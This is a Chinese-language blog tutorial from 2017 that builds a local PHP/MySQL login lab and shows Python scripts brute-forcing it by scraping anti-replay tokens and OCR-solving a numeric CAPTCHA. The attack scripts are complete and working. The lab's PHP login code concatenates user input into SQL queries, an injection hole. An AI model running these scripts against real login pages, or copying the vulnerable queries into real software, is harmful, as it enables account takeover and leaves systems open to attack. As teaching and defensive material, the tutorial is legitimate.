python的反反暴力破解

安全工具 2017-12-01

本文适合刚刚学完 python,光听别人说强大,但是自己没有直观感受过的人。介绍两种防暴力破解的方法,以及用 py 的绕过方法。(暂不考虑 sql 注入,不谈机器学习。)

虽然繁琐的认证不一定意味着安全,但是方便省事的认证往往意味着不安全。

暴力破解漏洞是广泛存在的,危害较大的漏洞。虽然利用该漏洞需要付出的时间成本可能难以接受,但是如果结合社会工程学,完全可能将不能接受的时间降到可接受的范围,所以其危害不容小觑。

环境要求

系统:

kali linux

软件版本:

php7

mysql5.6

python3

搭建步骤:

1、首先数据库导入 data.sql,这是所有的测试数据。

CREATE DATABASE test_data;

USE test_data;

CREATE TABLE `users` (

  `id` INT(10)  UNSIGNED AUTO_INCREMENT,
  `username` VARCHAR(40) NOT NULL,
  `password` VARCHAR(64) NOT NULL,
  PRIMARY KEY (`id`)

)ENGINE=InnoDB DEFAULT CHARSET=utf8;



INSERT INTO `users` (username, password) VALUES ('admin',password('admin'));
INSERT INTO `users` (username, password) VALUES ('jack',password('password'));        

2、搭建被测试的网页用 Phpstudy 即可,把所有 php 文件放入网站根路径,确保能够正常访问。或者直接在 kali 里,比较方便,直接把这几个脚本放一块,然后在当前路径执行 php -S 127.0.0.1:80,就完事了。Py 脚本可以随意,只要执行起来方便就行。

3、php 生成验证码需要安装 gd 扩展,python3 验证码识别,需要安装 tesseract-ocr。

4、Code.php 是生成二维码用的。

代码都做了注释,有兴趣可以看一看。

测试所需代码的分析:

form.php

简简单单的一个带token的表单。

<?php
session_start();//开启session

//生成token的函数
function token(){
    $rand=rand();//生成一个随机数
    $times=time();//获取当前时间戳
    //echo $rand.'<br>';
    //echo $times.'<br>';
    $token=md5($rand+$times);//取两者之和的md5
    $_SESSION['token']=$token;//将token放在session里,这样可以防止客户端伪造token

    return $token;

}


?>

<html>
<head>
    <meta charset="UTF-8">
</head>
<body>

<form action="burteforce2.1.php" method="post">
    <input type="text" name="username">
    <input type="password" name="password">
    <input type="hidden" name="token" value="<?php echo token(); ?>"><!--输出token的值隐藏在表单里,在用户提交表单的时候会一并提交-->
    <input type="submit" value="submit">

</form>

</body>

</html>

form.php

简简单单的又一个表单。


<html>
<head>
    <meta charset="UTF-8">
</head>
<body>

<form action="bruteforce2.2.php" method="post">
    <input type="text" name="username">
    <input type="password" name="password">
    <input type="text" name="code">
    <img src="code.php">
    <input type="submit" value="submit">

</form>

</body>

burteforce2.1.php

处理带 token 的登录请求的脚本

<?php
session_start();


//建立数据库连接,不做多做解释
$host='localhost';
$port=3306;
$user='root';
$pass='';
$db='test_data';

$conn=new mysqli($host,$user,$pass,$db,$port);

if ($conn->connect_error){

    die('数据库连接失败');

}else{

    $conn->query('SET NAMES utf-8;');

}





//global $token;
//
//
//if (!isset($_SESSION['token'])){
//    $token=token();
//    $_SESSION['token']=$token;
//}
//检测POST过来的数据是否是完整的
if (isset($_POST['username']) and isset($_POST['password']) and isset($_POST['token'])){

    //生成的token放在session里
    if ($_POST['token']!=$_SESSION['token']){
        //如果客户端提交上来的token和session里的token不同的话,删除token,直接停止脚本执行
        unset($_SESSION['token']);
        die("非法请求!!!");

    }

    $username=$_POST['username'];
    $password=$_POST['password'];


    $sql="SELECT * FROM `users` WHERE `username`='".$username."' AND `password`=password('".$password."');";

    $result=$conn->query($sql);

    echo $conn->error;

    //如果数据为0行,那么证明没有查到数据,数据库不存在该账户和密码的组合
    if ($result->num_rows==0){
        echo "登录失败!";
    }

    //如果查到了,就把查到的信息都打印出来
foreach ($result as $row) {
    echo $row['id']."<br>";
    echo $row['username'];

}

    //删除token,防止爆破token
    unset($_SESSION['token']);

}

?>

burteforce2.2.php

处理带验证码的登录请求的脚本

<?php
session_start();


//建立数据库连接,这个不用多做解释
$host='localhost';
$port=3306;
$user='root';
$pass='';
$db='test_data';

$conn=new mysqli($host,$user,$pass,$db,$port);

if ($conn->connect_error){

    die('数据库连接失败');

}else{

    $conn->query('SET NAMES utf-8;');

}





//检测提交过来的数据是否完整
if (isset($_POST['username']) and isset($_POST['password']) and isset($_POST['code'])){


    //提交过来的验证码是否和服务器session里保存的验证码一致
    if ($_POST['code']!=$_SESSION['code']){

        die("非法请求!!!");

    }

    //接下来跟上一个一样
    $username=$_POST['username'];
    $password=$_POST['password'];


    $sql="SELECT * FROM `users` WHERE `username`='".$username."' AND `password`=password('".$password."');";

    $result=$conn->query($sql);

    echo $conn->error;

    if ($result->num_rows==0){
        echo "登录失败!";
    }
    foreach ($result as $row) {
        echo $row['id']."<br>";
        echo $row['username'];

    }
    unset($_SESSION['code']);

}

?>

Code.php

生成二维码的脚本

<?php

//这个脚本不用太了解

//header('Content_Type:text/html;charset=utf-8');
//开启session,整个验证基于session
session_start();
//生成验证码图片,设置包头告诉浏览器这是个图片
Header("Content-type: image/PNG");
//创建一个基于调色板的图像
$im = imagecreate(44, 18);
//给生成的图像
$back = ImageColorAllocate($im, 245, 245, 245);
//背景
imagefill($im, 0, 0, $back);
//生成四位的随机数字
srand((double)microtime() * 1000000);
//定义一个变量来存储生产的验证码
global $vcodes;
for ($i = 0; $i < 4; $i++) {
    $font = ImageColorAllocate($im, rand(100, 255), rand(0, 100), rand(100, 255));
    $authnum = rand(1, 9);
    $GLOBALS['vcodes'] .= $authnum;
    imagestring($im, 5, 2 + $i * 10, 1, $authnum, $font);
}
for ($i = 0; $i < 100; $i++) //加入干扰象素
{
    $randcolor = ImageColorallocate($im, rand(0, 255), rand(0, 255), rand(0, 255));
    imagesetpixel($im, rand(), rand(), $randcolor);
}
ImagePNG($im);
ImageDestroy($im);
$_SESSION['code'] = $GLOBALS['vcodes'];
?>

burteforce2.1.py

暴力破解带 token 的认证

#!/usr/bin/python3
# coding=utf-8

import requests #做web请求的库
from bs4 import BeautifulSoup #处理html的库
# import argparse
import threading #多线程库
import sys

#表单的url
formurl = 'http://127.0.0.1/2.1form.php'
#处理登录请求的url
loginurl = 'http://127.0.0.1/burteforce2.1.php'
#请求包头
headers = {

    'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '

                  r'Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3',

    'Referer': r'http://www.lagou.com/zhaopin/Python/?labelWords=label',

    'Connection': 'keep-alive'
}
#代理,可用可不用,方便burpsuite抓包分析的
proxies = {
    'http': 'http://127.0.0.1:8080'
}


#获取token的函数
def gettoken(page):
    #将传进来的html页面传给BeautifulSoup
    soup = BeautifulSoup(page, 'html.parser')
    # print(soup.prettify())
    #从页面中找出所有的表单输入
    token = soup.find_all("input")
    #返回的数组有三个元素,而由表单结构可知,第三个输入是我们要获取的token,所以取数组下标为2的元素
    token = str(token[2])
    #找右边的地一个引号,因为从表单结构可知,token是被双引号包裹的,又知道md5值长度是32,再根据数组”包左不包右“的性质,容易得出token值的范围
    r = token.rfind('"')
    l = r - 32
    token = token[l:r]
    return token

#尝试登录的函数
def login(username, password):
    #token机制是基于session的,session是基于cookies的,所以一定要开启requests的session功能
    res = requests.session()
    #取得页面
    page = res.get(formurl)
    #获取token
    token = gettoken(page.text)
    #构造post的数据
    data = {'username': username, 'password': password, 'token': token}
    #使用同一个requests对象,在同一个session里进行登录
    #使用代理
    #result = res.post(loginurl, data=data, proxies=proxies)
    #不使用代理
    result = res.post(loginurl, data=data)
    #打印出登录结果, 以及页面长度,基于长度判断的话比较好筛选结果
    print(password + " -> " + result.text.strip('\n').strip('\r') + " -> " + str(len(result.text)))


#获取密码字典的文件对象
def getdict(file):
    dict = []
    try:
        f = open(file, "r")
        for p in f.readlines():
            dict.append(p)

        return dict
    except:
        print('文件异常')

#获取命令行参数
#爆破的用户名
username = sys.argv[1]
#密码字典的文件名
passfile = sys.argv[2]
# t=args.thread
# tpool=[]
file = getdict(passfile)
#遍历字典
for p in file:
    #将取出的结果转换成字符串
    p = str(p)
    #去掉特殊符号
    p = p.strip().strip('\n').strip('\r')
    #多线程破解
    t = threading.Thread(target=login, args=(username, p))
    # tpool.append(tt)
    t.start()
    # 用了join会稍微慢点,但是安全,和不用多线程速度差不多,如此join多线程的意义不大。
    t.join()

burteforce2.2.py

#!/usr/bin/python3
#codeing=utf-8

import requests
import sys
from PIL import Image #图片处理的库
from pytesseract import * #图片文字识别库,若要正常使用需要首先安装好tesseract-ocr,否则会报错
import os

#选择在此处开启session的原因是为了保证整个程序流程都使用同一个session
res=requests.session()
codeurl='http://127.0.0.1/code.php'
loginurl='http://127.0.0.1/bruteforce2.2.php'
headers = {

    'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '

                  r'Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3',

    'Referer': r'http://www.lagou.com/zhaopin/Python/?labelWords=label',

    'Connection': 'keep-alive'
}
proxies = {
    'http': 'http://127.0.0.1:8080'
}

#把验证码图片保存为临时文件
def getcode(res):
    #res=requests.session()
    res=res.get(codeurl)

    f=open('tmp.png','wb').write(res.content)


#图片转文字的函数
def parsecode(image='tmp.png'):
    #创建一个Image对象
    im=Image.open(image)
    #将图像转化为灰度图
    lim=im.convert('L')
    #直接识别,简单粗暴,因为此验证码太简单了。233333333
    text=image_to_string(lim)
    #删除临时文件
    os.remove('tmp.png')
    return text

#把上面两个函数整合起来了
def stringcode(res):
    getcode(res)
    return parsecode()


#登录的函数
def login(username, password,res):
    #res = requests.session()
    #将全局变量res传进去,整个流程都用一个session
    #以下就都一样了
    code=stringcode(res)
    data = {'username': username, 'password': password, 'code': code}
    #result = res.post(loginurl,data=data, proxies=proxies)
    result = res.post(loginurl, data=data)
    print(password + " -> " + result.text.strip('\n').strip('\r') + " -> " + str(len(result.text)))


def getdict(file):
    dict = []
    try:
        f = open(file, "r")
        for p in f.readlines():
            dict.append(p)

        return dict
    except:
        print('文件异常')


def main():
    #爆破的用户名
    username=sys.argv[1]
    #字典文件的名字
    passfile=sys.argv[2]

    for p in open(passfile,'r'):
        p=p.strip().strip('\n').strip('\r')
        login(username,p,res)


if __name__ == '__main__':
    main()

密码字典从 kali 里随便找一个。

测试:

一、随机生成 token,作为隐藏输入,藏在表单之中,每次访问都获取新的 token,妄图防御了基于数据包重放的暴力破解。然而在强大的 python 面前并没有什么卵用。

测试步骤:

把文件放到网站跟路径,运行 py 脚本

a.png

一片喜闻乐见的登录失败。但是,仔细一看,其中有条结果的页面长度与其他不同

b.png

去正常登录尝试一下,admin 是 admin 的密码

二、绕过验证码防御基于数据包重放的暴力破解攻击。纯数字,混淆力度不够,经过处理后可以被识别,或者根本不用处理即可被识别。

测试步骤和上边没有差别,就是脚本名换了换。

写在最后的话

防范暴力破解还有其他的办法,例如如果一个 IP 地址频繁失败登录就限制其访问,或者如果一个帐号频繁登录失败就锁定该帐号,除非再次激活,否则不能继续正常使用。

但是这两种办法都有弊端,前者可以用构建一个代理池的办法来绕过(本地不好演示),后者会影响用户的正常使用。所以说,采取何种办法来防御,需要权衡。

其实最好的办法是设置一个足够强的密码,一个系统无论打了多少补丁,按了多少个防火墙,它的密码如果是 1234, 那么一切都等于零。


本文由 myh0st 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论